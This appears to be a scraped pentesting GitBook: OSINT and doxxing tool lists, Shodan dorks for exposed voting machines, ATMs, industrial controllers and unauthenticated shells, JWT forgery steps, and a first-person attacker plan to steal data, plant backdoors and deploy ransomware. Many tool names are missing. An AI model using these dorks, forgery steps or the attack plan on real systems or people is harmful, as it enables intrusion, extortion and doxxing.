Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Enumeration is Key
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Introduction
whoami
Welcome to our GitBook, a meticulously curated repository crafted by two dedicated young penetration testers. Our mission is to compile a comprehensive inventory of the tools, techniques, and knowledge we've amassed in the realms of cybersecurity, penetration testing, and red teaming over the recent years.
As we navigate the evolving landscape of digital security, we commit to regularly updating this GitBook with fresh insights gleaned from the front lines of our professional challenges. Here, you will discover a spectrum of strategies, from foundational concepts to sophisticated methodologies, all of which have been battle-tested in our day-to-day operations and honed through countless Capture The Flag (CTF) exercises.
Join us on this journey of continuous learning and discovery, where each page turn equips you with knowledge and empowers your cybersecurity endeavors.
⬆ Don't forget to support our projects and to BuyUsACoffee ⬆
CTRL + SHIFT + I
There's three popular ways I use to stabilize a reverse shell;
Python, as mentioned above.
riwrap, which prepends to a netcat shell for additional terminal features.
Socat, which is a step above netcat but must be manually transferred over and launched on the target machine.
Search through :
The MITRE ATT&CK resource is a good starting point. The end result of the attack will look a bit different based on the goal of the bad actor. The goal might be to :
Steal sensitive company/client/employee information, ransom, breaking/DoS applications,
Defacement for financial/reputation loss.
Regardless of the goal, I would start with discovery if I'm already inside the infrastructure/app.
This would allow me to check what other systems are within the infrastructure (and later try to exploit them).
For the app :
I would check what data it has/gathers.
If the app is based on micro-services,
What additional data I could gather from other systems/ apps.
Dump IT ALL :
I would download everything I gain access to. That might be user data or employee data,
If I gained access to an employee's PC I would download everything they have there and everything they have access to like data, emails, personal pics, and so on.
I would then analyze the data to see if there is anything I can sell, bribe for, and any details that would open other attack vectors (phishing, spear phishing, whaling, access/info about other systems, etc.).
After the discovery part is done, I would try to gain access to other systems as lateral movement and do again the first and second step when I'm in.
How would I get it?
Based on the data I've obtained when doing the discovery part I might've found some vulnerable systems, old systems with existing CVE's or just found some credentials on the employee computer.
Privilege Escalation
This could be done by using vulnerabilities in old systems, stealing tokens, modifying the app to steal and send details to remote systems, maybe creating some fake apps that look like internal apps and steal credentials, and so on.
Whatever I do next, I want to still have access to the app/infrastructure so I would start placing backdoors, reverse shells, creating admin accounts, having open sessions to the employee like RDP, and maybe leave open ssh tunnels.
The last step
It would be different depending on my goal.
If this is only money or destruction I would ransomware the hell out of them, systems, databases, user data, employee data, and pretty much everything that I had access to.
If I want to just steal data, I would not do anything destructive and stay in low profile to have the data coming in until they notice it and try to cut me off. I would deface their sites to show off or promote myself.
— Reveal what's behind any contact
— Investigations, check usernames
и — Search for corporate email addresses by URL.
— Searches for accounts in various services by login, based on public JSON.
— A free tool for finding a user by login on over 2 thousand websites.
, , , , —Online services for searching user accounts by login.
— VK profile history
— Searching by face on social medias (VK as i remember)
— Search user's profile picture on social media
— Instagram monitoring
— Skype OSINT
— Checks if an email is associated with accounts on sites like Twitter, Instagram, and Imgur, supporting over 100 portals.
— Searches for email addresses by nickname from 22 email providers.
— Searches social network accounts by username.
— A login search tool covering over two and a half thousand sites, according to the developer.
— Collects information on a person's login, checking accounts on over two and a half thousand sites and gathering available information from web pages, without requiring API keys. (Sherlock fork)
— An API, command line interface, and web application for analyzing and searching profiles on over 1 thousand sites.
— A Python utility for finding profiles by username on 350 websites.
— A fast search engine for account names, working with 210 sites.
— A tool for finding accounts by login on social networks.
— Facilitates search by login across public search engines from Google to Torch to Qwant
— A modular tool for collecting data about Google accounts.
— A tool for finding profiles by username.
— Mail verification service with some features
— SHA-1 Password decryption
— A utility for reverse searching by phone numbers, providing information about the owner, associated links, social network pages, and other relevant details
— Searches phone numbers on the internet and retrieves all available data
— A well-known tool for finding international phone numbers, providing standard information such as country, region, and carrier, and then searching for traces of it in search engines to help identify the owner.
— A utility for obtaining information from the GetContact application databases, albeit with limitations on parsing and requests.
— A renowned search engine for gathering information about internet-connected devices.
, , , , — IoT-focused search engines similar to Shodan.
— A publicly searchable database of open AWS Buckets, Azure Blobs, and Digital Ocean Spaces..
— Search tool for public AWS S3 & Azure Blob buckets.
, , — Determine device manufacturers by MAC address, OUI, or IAB.
, , , — Databases for default passwords on various devices.
— Provides a comprehensive summary of registration data and technologies used on a website.
— A suite of tools for researching IP addresses, including blacklist checks, Whois, DNS lookup, and ping.
, , — Tools for searching by registration data and Whois.
— A domain exploration tool that discovers hosts associated with a domain.
— Determines server location and names of hosts sharing the IP address.
— Bulk IP address search tool, capable of checking up to 100 IP addresses at once and exporting results to .csv files.
— Feature-rich tool for searching by domain name, IP address, or hostname.
— A set of open-source tools for analyzing and visualizing the domain name system.
, , , , — Search engines for finding the approximate geographic location of an IP address and other relevant information.
, , — поиск по обратным ссылкам.
— same IP domains n subdomains finder .
, — search by SSL/TLS certs released for certain domain.
— A network intelligence framework, offering an alternative to Shodan, ZoomEye, Censys, and GreyNoise.
— A network scanner that searches for information in open sources, aggregating data from various search engines and databases.
— An OSINT tool based on NodeJs, combining port and subdomain scanning, DNS search, URL scanning, Whois search, and other functions.
— A utility for searching URLs, IP addresses, and MD5 hashes, designed to assist information security analysts.
— A reconnaissance and information gathering tool utilizing Nmap for port scanning and passive data retrieval techniques.
— пA tool for looking up IP addresses, MD5 hashes, ASN, and Bitcoin addresses.
— A scanner for extracting information from open sources, crawling specific websites for searches, keywords, subdomains, and more.
— A scanner with open-source search capabilities, seeking subdomains and associated IP addresses.
— Utilizes open-source intelligence techniques to match IP addresses to hostnames, with results exportable to CSV or TXT files.
— A modular tool for discovering subdomains using passive reconnaissance techniques.
— Designed for finding subdomains using OSINT.
— erforms network mapping using open-source information.
— Another utility for detecting subdomains and gathering information about them from open sources.
— A Python script that conducts active and/or passive scanning to discover subdomains and identify open ports.
— A tool inspired by Foca and Datasploit, designed for collecting publicly available data and documents from websites. .
, , , — These serve as starting points for numerous general and specialized search engines, all heavily oriented towards OSINT.
— Search by ip, name, or domain
— Offers a panel featuring dozens of search engines catering to libraries, archives, and databases.
, , — Metasearch engines that aggregate results from popular search engines like Google, Yandex, and Bing, presenting them on a single page.
— A search engine for search engines, providing a user-friendly interface to access other tools.
— A metasearch engine with the capability to search by IP, SSL, ASN, CVE, email, and phone numbers.
— A combined search engine for names, addresses, phone numbers, email addresses, and IP addresses.
— A search engine equipped with a built-in text clustering algorithm, automatically grouping thematically related sources.
— Simulates search queries to Google from different countries, aiding in understanding how regional restrictions affect search results.
— An English-language search engine that provides common search queries for a given phrase.
— Some tools of Michael Bazzell on his website
— IntelX OSINT tools
— Some of OSINT investigation tools
— Same as above
— Doxxing pastes on people
— OSINT framework tree
— OSINT and Reconnaissance
— Allows searching 106 sources directly from the command line.
— Automates search queries and exports results to CSV, JSON, or GEXF. Tailored for red team tasks, equipped with a built-in web interface.
— Sends search queries to multiple search engines and writes the results in CSV, JSON, or XML.
— An open-source intelligence framework resembling the Metasploit Framework. Facilitates searches for logins, phone numbers, addresses, and publicly available financial statements.
— An OSINT tool based on Google Sheets, designed for complex searches of people, email addresses, files, and more.
— A free OSINT tool for collecting information from various sources and identifying correlations between entities like people, email addresses, companies, websites, and domains.
— A framework for collecting and semi-automatically processing information about subdomains, IP addresses, compromised accounts, phone numbers, and social network profiles.
— A console utility for collecting information for red teaming, conducting active and passive reconnaissance using various search engines. Gathers names, email addresses, IP addresses, subdomains, and URLs.
— A crawler for searching IP addresses, emails, websites, organizations, and retrieving information from diverse sources.
— Gathers information about user domains, names, and phone numbers using public sources and Google Dorks.
— An OSINT tool found in Kali or BlackArch Linux, designed to collect data by specific domain, email, username, or phone number, and save reports in text files, HTML, and JSON.
— An open-source, decentralized search engine that enables users to deploy their own search engine.
https://techjournalism.medium.com/osint-checklist-for-company-investigations-86c3752c095d" %}
FInd public infos about the enterprise :
Other countries : search for "registre de commerce" "commercial register"
Search Engine Queries - Locations
“company_name” headquarters address
“company_name” branch office
“city state” county
site:bizjournals.com inurl:potm “company_name“
site:linkedin.com “company_name” “present (1 month)”
Find IP ranges and other infos on
Enter those ranges in
—A start page for two dozen search engines that operate within TOR and are accessible from the regular web.
— Another TOR search engine, notable for being open source.
, , , , , , , —Additional TOR search engines.
— A database containing IP addresses that were part of the Tor network. Users can determine whether a Tor relay was active on a specific IP address on a chosen date.
— : A web application for discovering Tor relays and bridges, offering insights into their configurations. It's an open-source tool.
— A convenient Onion crawler that collects addresses and page titles, extracts email addresses from sites, verifies link activity, and saves reports in JSON. It's Docker compatible.
— An OSINT tool to collect intelligence on the dark web.
— An Onion crawler with support for keyword search.
— A Python tool for automating searches using Google Dorks with TOR support
— A Python3 script for automating .onion searches via public services.
— An OSINT tool for Darkweb searches that doesn't require TOR installation and can also explore the i2p network
— Searchcode: Search real-world examples of functions, APIs, and libraries in 243 languages across GitHub, GitLab, Bitbucket, GoogleCode, and other source code repositories.
— A fast and functional search engine for open-source repositories, with a self-hosted version available. .
— Search for code examples of an open-source project, enabling the viewing of examples using a particular class or method from multiple projects on one page.
— Search 4,690,628 packages across 32 package managers.
— Search source code in SVN and GitHub repositories
— Git content, useful for locating strings associated with IOC vulnerabilities and malware.
— Search 20 open-source repositories using dorks
— Enables the discovery of any alphanumeric fragment, including pieces of HTML, JavaScript, CSS code in the code of web pages.
— Identifies websites utilizing specific technologies.
— A tool for finding potentially sensitive files in public repositories on GitHub, displaying results via a web interface.
— A utility for searching using dorks via the GitHub Search API, written in Python.
— Monitors GitHub for confidential data, such as credits from various services, quickly searching for sensitive information.
—A collection of console tools for GitHub research.
— Designed to find email addresses and social media accounts in a website's source code.
— A search engine, database, and widely accepted classifier of vulnerabilities.
— The official US government vulnerability database.
— A vulnerability database incorporating CVEs and security advisories.
, , , — Additional sources of data on vulnerabilities and indicators of compromise.
— A CVE search engine with integrated alerts for new threats.
и , — Open-source vulnerability databases.
— A project compiling vulnerabilities and security issues of cloud service providers.
— A system for searching information about current threats.
— A database containing details of over 180 thousand vulnerabilities and 4 thousand exploits, with all exploits included in Metasploit.
— A CVE-compliant archive of publicly available exploits and vulnerable software.
— A search engine for exploits and hacking tools.
— Information gathering about IP address, top threats
— ThreatMiner is a threat intelligence portal designed to enable analysts to research under a single interface.
In order to install Lynis on your system, you must follow these steps :
— Eye of God ( this one is amazing )
— Maigret
— Telesint
— Overload
— Telegram Analyst
— GTA Search
— Search for user's groups
— Password Search
— Universal Search (free version of @HowToFindRU_Robot)
— Leak OSINT (useful asfuck)
/ — User's Box
— ¯_(ツ)_/¯
— Get location from a picture (AI)
— EVERY Car Plate on the map
Usage : https://psbdmp.ws/api/search/<email>
Usage https://cavalier.hudsonrock.com/api/json...@email.com =======
Usage https://cavalier.hudsonrock.com/api/json...@email.com
https://techjournalism.medium.com/how-to-verify-leak-data-3b0c8d8b764a
Tools :
Automate the collection of metadata, collect creation dates and store it for analysis in chronological order :
Runs two different virus scan software packages.
If the data runs on an external hard drive, check virus/malware on that dump of data as a whole.
— An OSINT tool facilitating the discovery of breaches involving a specific email address, capable of loading public databases.
и — Tools for finding passwords from compromised email addresses in public databases.
— Collects email account information from public sources and checks for email leaks using the haveibeenpwned.com API.
Extract the metadata from multiple images and store it in a list :
Set up a separate machine, one that perhaps connects via the
: Struggles with graphics
Search through Dorks, a lot of leaks on
Disclaimer: It is highly advised that you use the information you find for legal purposes only. The unauthorized access of information can lead to a criminal proceeding against you. So use Google hacking with care (and written permission).
Links
OPERATOR
DESCRIPTION
EXAMPLE
intitle:
which finds strings in the title of a page
intitle:”Your Text”
allintext:
which finds all terms in the title of a page
allintext:”Contact”
inurl:
which finds strings in the URL of a page
inurl:”news.php?id=”
site:
which restricts a search to a particular site or domain
site:yeahhub.com “Keyword”
filetype:
which finds specific types of files (doc, pdf, mp3 etc) based on file extension
filetype:pdf “Cryptography”
link:
which searches for all links to a site or URL
link:”example.com”
cache:
which displays Google’s cached copy of a page
cache:yeahhub.com
info:
which displays summary information about a page
port:
Search by specific port
net:
Search based on an IP/CIDR
hostname:
Locate devices by hostname
os:
Search by Operating System
city:
Locate devices by city
country:
Locate devices by country
geo:
Locate devices by coordinates
org:
Search by organization
before/after:
Timeframe delimiter
hash:
Search based on banner hash
has_screenshot:true
Filter search based on a screenshot being present
title:
Search based on text within the title
asn:
Search ASN e.g. 'AS12345'
ssl.jarm:
Search by JARM fingerprint
net:
Find devices based on an IP address or /x CIDR. net:210.214.0.0/16
Organization
Autonomous System Number (ASN)
asn:ASxxxx
os:
Find devices based on operating system. os:"windows 7"
port:
Find devices based on open ports. proftpd port:21
before/after:
Find devices before or after between a given time. apache after:22/02/2009 before:14/3/2010
SSL/TLS Certificates
Self signed certificates ssl.cert.issuer.cn:example.com ssl.cert.subject.cn:example.com
Expired certificates ssl.cert.expired:true
ssl.cert.subject.cn:example.com
Device Type
Operating System
Product
Customer Premises Equipment (CPE)
Server
ssh fingerprints
dc:14:de:8e:d7:c1:15:43:23:82:25:81:d2:59:e8:c0
Pulse Secure
http.html:/dana-na
PEM Certificates
http.title:"Index of /" http.html:".pem"
MySQL
"product:MySQL"
MongoDB
"product:MongoDB"
mongodb port:27017
Fully open MongoDBs
"MongoDB Server Information { "metrics":"
"Set-Cookie: mongo-express=" "200 OK"
Kibana dashboards without authentication
kibana content-legth:217
elastic
port:9200 json
port:"9200" all:elastic
Memcached
"product:Memcached"
CouchDB
"product:CouchDB"
port:"5984"+Server: "CouchDB/2.1.0"
PostgreSQL
"port:5432 PostgreSQL"
Riak
"port:8087 Riak"
Redis
"product:Redis"
Cassandra
"product:Cassandra"
Samsung Electronic Billboards
"Server: Prismview Player"
Gas Station Pump Controllers
"in-tank inventory" port:10001
Fuel Pumps connected to internet:
No auth required to access CLI terminal.\ "privileged command" GET
Automatic License Plate Readers
P372 "ANPR enabled"
Traffic Light Controllers / Red Light Cameras
mikrotik streetlight
Voting Machines in the United States
"voter system serial" country:US
Open ATM:
May allow for ATM Access availability NCR Port:"161"
Telcos Running Cisco Lawful Intercept Wiretaps
"Cisco IOS" "ADVIPSERVICESK9_LI-M"
Prison Pay Phones
"[2J[H Encartele Confidential"
Tesla PowerPack Charging Status
http.title:"Tesla PowerPack System" http.component:"d3" -ga3ca4f2
Electric Vehicle Chargers
"Server: gSOAP/2.8" "Content-Length: 583"
Maritime Satellites
Shodan made a pretty sweet Ship Tracker that maps ship locations in real time, too!
"Cobham SATCOM" OR ("Sailor" "VSAT")
Submarine Mission Control Dashboards
title:"Slocum Fleet Mission Control"
CAREL PlantVisor Refrigeration Units
"Server: CarelDataServer" "200 Document follows"
Nordex Wind Turbine Farms
http.title:"Nordex Control" "Windows 2000 5.0 x86" "Jetty/3.1 (JSP 1.1; Servlet 2.2; java 1.6.0_14)"
C4 Max Commercial Vehicle GPS Trackers
"[1m[35mWelcome on console"
DICOM Medical X-Ray Machines
Secured by default, thankfully, but these 1,700+ machines still have no business being on the internet.
"DICOM Server Response" port:104
GaugeTech Electricity Meters
"Server: EIG Embedded Web Server" "200 Document follows"
Siemens Industrial Automation
"Siemens, SIMATIC" port:161
Siemens HVAC Controllers
"Server: Microsoft-WinCE" "Content-Length: 12581"
Door / Lock Access Controllers
"HID VertX" port:4070
Railroad Management
"log off" "select the appropriate"
Tesla Powerpack charging Status:
Helps to find the charging status of tesla powerpack. http.title:"Tesla PowerPack System" http.component:"d3" -ga3ca4f2
XZERES Wind Turbine
title:"xzeres wind"
PIPS Automated License Plate Reader
"html:"PIPS Technology ALPR Processors""
Modbus
"port:502"
Niagara Fox
"port:1911,4911 product:Niagara"
GE-SRTP
"port:18245,18246 product:"general electric""
MELSEC-Q
"port:5006,5007 product:mitsubishi"
CODESYS
"port:2455 operating system"
S7
"port:102"
BACnet
"port:47808"
HART-IP
"port:5094 hart-ip"
Omron FINS
"port:9600 response code"
IEC 60870-5-104
"port:2404 asdu address"
DNP3
"port:20000 source address"
EtherNet/IP
"port:44818"
PCWorx
"port:1962 PLC"
Crimson v3.0
"port:789 product:"Red Lion Controls"
ProConOS
"port:20547 PLC"
Unprotected VNC
"authentication disabled" port:5900,5901
"authentication disabled" "RFB 003.008"
Windows RDP
99.99% are secured by a secondary Windows login screen.
"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"
CobaltStrike Servers
product:"cobalt strike team server"
ssl.cert.serial:146473198
- default certificate serial number ssl.jarm:07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1
Hacked routers:
Routers which got compromised\ hacked-router-help-sos
Redis open instances
product:"Redis key-value store"
Citrix:
Find Citrix Gateway.\ title:"citrix gateway"
Weave Scope Dashboards
Command-line access inside Kubernetes pods and Docker containers, and real-time visualization/monitoring of the entire infrastructure.
title:"Weave Scope" http.favicon.hash:567176827
MongoDB
Older versions were insecure by default. Very scary.
"MongoDB Server Information" port:27017 -authentication
Mongo Express Web GUI
Like the infamous phpMyAdmin but for MongoDB.
"Set-Cookie: mongo-express=" "200 OK"
Jenkins CI
"X-Jenkins" "Set-Cookie: JSESSIONID" http.title:"Dashboard"
Jenkins:
Jenkins Unrestricted Dashboard x-jenkins 200
Docker APIs
"Docker Containers:" port:2375
Docker Private Registries
"Docker-Distribution-Api-Version: registry" "200 OK" -gitlab
Pi-hole Open DNS Servers
"dnsmasq-pi-hole" "Recursion: enabled"
Already Logged-In as root via Telnet
"root@" port:23 -login -password -name -Session
Telnet Access:
NO password required for telnet access.\ port:23 console gateway
Polycom video-conference system no-auth shell
"polycom command shell"
NPort serial-to-eth / MoCA devices without password
nport -keyin port:23
Android Root Bridges
A tangential result of Google's sloppy fractured update approach. 🙄 More information here.
"Android Debug Bridge" "Device" port:5555
Lantronix Serial-to-Ethernet Adapter Leaking Telnet Passwords
Lantronix password port:30718 -secured
Citrix Virtual Apps
"Citrix Applications:" port:1604
Cisco Smart Install
Vulnerable (kind of "by design," but especially when exposed).
"smart install client active"
PBX IP Phone Gateways
PBX "gateway console" -password port:23
Polycom Video Conferencing
http.title:"- Polycom" "Server: lighttpd"
"Polycom Command Shell" -failed port:23
Telnet Configuration:
"Polycom Command Shell" -failed port:23
Example: Polycom Video Conferencing
Bomgar Help Desk Portal
"Server: Bomgar" "200 OK"
Intel Active Management CVE-2017-5689
"Intel(R) Active Management Technology" port:623,664,16992,16993,16994,16995
”Active Management Technology”
HP iLO 4 CVE-2017-12542
HP-ILO-4 !"HP-ILO-4/2.53" !"HP-ILO-4/2.54" !"HP-ILO-4/2.55" !"HP-ILO-4/2.60" !"HP-ILO-4/2.61" !"HP-ILO-4/2.62" !"HP-iLO-4/2.70" port:1900
Lantronix ethernet adapter’s admin interface without password
"Press Enter for Setup Mode port:9999"
Wifi Passwords:
Helps to find the cleartext wifi passwords in Shodan. html:"def_wirelesspassword"
Misconfigured Wordpress Sites:
The wp-config.php if accessed can give out the database credentials. http.html:"* The wp-config.php creation script uses this file"
Exchange 2007
"x-owa-version" "IE=EmulateIE7" "Server: Microsoft-IIS/7.0"
Exchange 2010
"x-owa-version" "IE=EmulateIE7" http.favicon.hash:442749392
Exchange 2013 / 2016
"X-AspNet-Version" http.title:"Outlook" -"x-owa-version"
Lync / Skype for Business
"X-MS-Server-Fqdn"
SMB (Samba) File Shares
Produces ~500,000 results...narrow down by adding "Documents" or "Videos", etc.
"Authentication: disabled" port:445
Specifically domain controllers:
"Authentication: disabled" NETLOGON SYSVOL -unix port:445
Concerning default network shares of QuickBooks files:
"Authentication: disabled" "Shared this folder to access QuickBooks files OverNetwork" -unix port:445
FTP Servers with Anonymous Login
"220" "230 Login successful." port:21
Iomega / LenovoEMC NAS Drives
"Set-Cookie: iomega=" -"manage/login.html" -http.title:"Log In"
Buffalo TeraStation NAS Drives
Redirecting sencha port:9000
Logitech Media Servers
"Server: Logitech Media Server" "200 OK"
Example: Logitech Media Servers
Plex Media Servers
"X-Plex-Protocol" "200 OK" port:32400
Tautulli / PlexPy Dashboards
"CherryPy/5.1.0" "/home"
Home router attached USB
"IPC$ all storage devices"
Generic camera search
title:camera
Webcams with screenshots
webcam has_screenshot:true
D-Link webcams
"d-Link Internet Camera, 200 OK"
Hipcam
"Hipcam RealServer/V1.0"
Yawcams
"Server: yawcam" "Mime-Type: text/html"
webcamXP/webcam7
("webcam 7" OR "webcamXP") http.component:"mootools" -401
Android IP Webcam Server
"Server: IP Webcam Server" "200 OK"
Security DVRs
html:"DVR_H264 ActiveX"
Surveillance Cams:
With username:admin and password: :P\ NETSurveillance uc-httpd
Server: uc-httpd 1.0.0
HP Printers
"Serial Number:" "Built:" "Server: HP HTTP"
Xerox Copiers/Printers
ssl:"Xerox Generic Root"
Epson Printers
"SERVER: EPSON_Linux UPnP" "200 OK"
"Server: EPSON-HTTP" "200 OK"
Canon Printers
"Server: KS_HTTP" "200 OK"
"Server: CANON HTTP Server"
Yamaha Stereos
"Server: AV_Receiver" "HTTP/1.1 406"
Apple AirPlay Receivers
Apple TVs, HomePods, etc.
"\x08_airplay" port:5353
Chromecasts / Smart TVs
"Chromecast:" port:8008
Crestron Smart Home Controllers
"Model: PYNG-HUB"
Calibre libraries
"Server: calibre" http.status:200 http.title:calibre
OctoPrint 3D Printer Controllers
title:"OctoPrint" -title:"Login" http.favicon.hash:1307375944
Ethereum Miners
"ETH - Total speed"
Apache Directory Listings
Substitute .pem with any extension or a filename like phpinfo.php.
http.title:"Index of /" http.html:".pem"
Misconfigured WordPress
Exposed wp-config.php files containing database credentials.
http.html:"* The wp-config.php creation script uses this file"
Too Many Minecraft Servers
"Minecraft Server" "protocol 340" port:25565
Literally Everything in North Korea
net:175.45.176.0/22,210.52.109.0/24,77.94.35.0/24
The HTTP TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests that use the TRACE method by echoing in its response the exact request that was received.
This behavior is often harmless, but occasionally leads to the disclosure of sensitive information such as internal authentication headers appended by reverse proxies. This functionality could historically be used to bypass the HttpOnly cookie flag on cookies, but this is no longer possible in modern web browsers.
The TRACE method should be disabled on production web servers.
Secure
Only sent to the server with an encrypted request over HTTPS, never sent with HTTP.
HTTPOnly
Inacessible to Javascript document.cookie API; only sent to the server, helps mitigate XSS attacks.
Path
Limits the scope of a cookie to a specific path on the server and can therefore be used to prevent unauthorized access to it from other applications on the same host.
SameSite
The SameSite attribute lets servers specify whether/when cookies are sent with cross-site requests (where Site is defined by the registrable domain). This provides some protection against cross-site request forgery attacks (CSRF).
It takes three possible values: Strict, Lax, and None.
Injections are a security vulnerability in websites and web applications where attackers inject malicious code/data by exploiting a flaw in the way the application handles user input.
There are several types of injections that attackers can use to exploit vulnerabilities in web applications. Some of the most common include:
SQL injection: This occurs when an attacker is able to insert SQL commands into an application's database queries, allowing them to manipulate or extract sensitive data from the database.
Cross-site scripting (XSS) injection: This occurs when an attacker is able to inject malicious code into a web page that is executed by a victim's browser, allowing the attacker to steal sensitive data or take control of the victim's session.
Command injection: This occurs when an attacker is able to inject operating system commands into an application, allowing them to execute arbitrary code on the server.
LDAP injection: This occurs when an attacker is able to inject LDAP commands into an application, allowing them to manipulate or extract sensitive data from the application's directory services.
— A continuously expanding catalog of dorks with an integrated search function.
— A search engine featuring a built-in dork builder.
— An online Google dorks builder focused on discovering sensitive pages..
— Google Dorking Usage
— Automates the search for potentially vulnerable web pages using dorks from the Google Hacking Database.
— A web-based PHP utility for automating Google Dorks usage, cleaning, and saving search results.
— Another tool for automating dork searches, written in Golang.
— A utility for identifying vulnerabilities and misconfigurations in web servers.
— Designed for dork-based searches and mass scanning of web resources for vulnerabilities.
— An automated tool for gathering information about a specific website using dorks.
— A premade collection of search queries for Google, Bing, Ecosia, DuckDuckGo, Yandex, Yahoo, and more, comprising 527 websites.
info:
Retrieves data using a given URI
Same as GET but only transfers the status line and header section
Sends data the the server
Replaces all current representations of the target resource with the uploaded content
Deletes a specified resource
Establishes a tunnel to the server
Describes the communication options for the target resource
Performs message-loop-back test along the path to the target resource
Applies partial modifications to a resource
JWT attacks involve a user sending modified JWTs to the server in order to achieve a malicious goal. Typically, this goal is to bypass authentication and access controls by impersonating another user who has already been authenticated.
The impact of JWT attacks is usually severe. If an attacker is able to create their own valid tokens with arbitrary values, they may be able to escalate their own privileges or impersonate other users, taking full control of their accounts.
For example, consider a JWT containing the following claims:
Changing the parameter "isAdmin" to true : Privilege Escalation.
JWT libraries typically provide one method for verifying tokens and another that just decodes them. For example, the Node.js library jsonwebtoken has verify() and decode(). Occasionally, developers confuse these two methods and only pass incoming tokens to the decode() method. This effectively means that the application doesn't verify the signature at all.
Change the "alg" value to "none". Remove the signature part but leave the trailing dot ".".
Even if the token is unsigned, the payload part must still be terminated with a trailing dot.
Some signing algorithms, such as HS256 (HMAC + SHA-256), use an arbitrary, standalone string as the secret key. Just like a password, it's crucial that this secret can't be easily guessed or brute-forced by an attacker. Otherwise, they may be able to create JWTs with any header and payload values they like, then use the key to re-sign the token with a valid signature.
When implementing JWT applications, developers sometimes make mistakes like forgetting to change default or placeholder secrets. They may even copy and paste code snippets they find online, then forget to change a hardcoded secret that's provided as an example. In this case, it can be trivial for an attacker to brute-force a server's secret using a wordlist of well-known secrets.
JWT Wordlist : https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list$
If the server uses an extremely weak secret, it may even be possible to brute-force this character-by-character rather than using a wordlist.
Then : Generate another key using JWT Editor Keys on BurpSuite, change the "k" parameter to the base64-encoded secret. Start accessing admin panels.
testssl.sh
The HTTP Strict-Transport-Security response header (often abbreviated as HSTS) lets a web site tell browsers that it should only be accessed using HTTPS, instead of using HTTP.
max-age=SECONDS
The time, in seconds, that the browser should remember that this site is only to be accessed using HTTPS.
includeSubDomains
If this optional parameter is specified, this rule applies to all of the site’s subdomains as well.
max-age=<expire-time>
The time, in seconds, that the browser should remember that a site is only to be accessed using HTTPS.
includeSubDomains Optional
If this optional parameter is specified, this rule applies to all of the site's subdomains as well.
preload Optional
See Preloading Strict Transport Security for details. Not part of the specification.
A Content Security Policy (CSP) requires careful tuning and precise definition of the policy. If enabled, CSP has significant impact on the way browsers render pages (e.g., inline JavaScript disabled by default and must be explicitly allowed in policy). CSP prevents a wide range of attacks, including Cross-site scripting and other cross-site injections.
base-uri
Define the base URI for relative URIs.
default-src
Define loading policy for all resources type in case a resource type’s dedicated directive is not defined (fallback).
script-src
Define which scripts the protected resource can execute.
object-src
Define from where the protected resource can load plugins.
style-src
Define which styles (CSS) can be applied to the protected resource.
img-src
Define from where the protected resource can load images.
media-src
Define from where the protected resource can load video and audio.
frame-src
(Deprecated and replaced by child-src
) Define from where the protected resource can embed frames.
child-src
Define from where the protected resource can embed frames.
frame-ancestors
Define from where the protected resource can be embedded in frames.
font-src
Define from where the protected resource can load fonts.
connect-src
Define which URIs the protected resource can load using script interfaces.
manifest-src
Define from where the protected resource can load manifests.
form-action
Define which URIs can be used as the action of HTML form elements.
sandbox
Specifies an HTML sandbox policy that the user agent applies to the protected resource.
script-nonce
Define script execution by requiring the presence of the specified nonce on script elements.
plugin-types
Define the set of plugins that can be invoked by the protected resource by limiting the types of resources that can be embedded.
reflected-xss
Instruct the user agent to activate or deactivate any heuristics used to filter or block reflected cross-site scripting attacks, equivalent to the effects of the non-standard X-XSS-Protection
header.
block-all-mixed-content
Prevent the user agent from loading mixed content.
upgrade-insecure-requests
Instruct the user agent to download insecure HTTP resources using HTTPS.
referrer
(Deprecated) Define information the user agent can send in the Referer
header.
report-uri
(Deprecated and replaced by report-to
) Specifies a URI to which the user agent sends reports about policy violation.
report-to
Specifies a group (defined in the Report-To
header) to which the user agent sends reports about policy violation.
X-Frame-Options response header improve the protection of web applications against Clickjacking. It declares a policy communicated from a host to the client browser on whether the browser must not display the transmitted content in frames of other web pages.
deny
No rendering within a frame.
sameorigin
No rendering if origin mismatch.
allow-from: DOMAIN
Allows rendering if framed by frame loaded from DOMAIN.
The Referrer-Policy HTTP header governs which referrer information, sent in the Referer header, should be included with requests made.
no-referrer
The Referer
header will be omitted entirely. No referrer information is sent along with requests.
no-referrer-when-downgrade
This is the user agent’s default behavior if no policy is specified. The origin is sent as referrer to a-priori as-much-secure destination (HTTPS → HTTPS), but isn’t sent to a less secure destination (HTTPS → HTTP).
origin
Only send the origin of the document as the referrer in all cases. (e.g. the document https://example.com/page.html
will send the referrer https://example.com/
.)
origin-when-cross-origin
Send a full URL when performing a same-origin request, but only send the origin of the document for other cases.
same-origin
A referrer will be sent for same-site origins, but cross-origin requests will contain no referrer information.
strict-origin
Only send the origin of the document as the referrer to a-priori as-much-secure destination (HTTPS → HTTPS), but don’t send it to a less secure destination (HTTPS → HTTP).
strict-origin-when-cross-origin
Send a full URL when performing a same-origin request, only send the origin of the document to a-priori as-much-secure destination (HTTPS → HTTPS), and send no header to a less secure destination (HTTPS → HTTP).
unsafe-url
Send a full URL (stripped from parameters) when performing a same-origin or cross-origin request.
Setting this header will prevent the browser from interpreting files as something else than declared by the content type in the HTTP headers.
nosniff
Will prevent the browser from MIME-sniffing a response away from the declared content-type.
Example
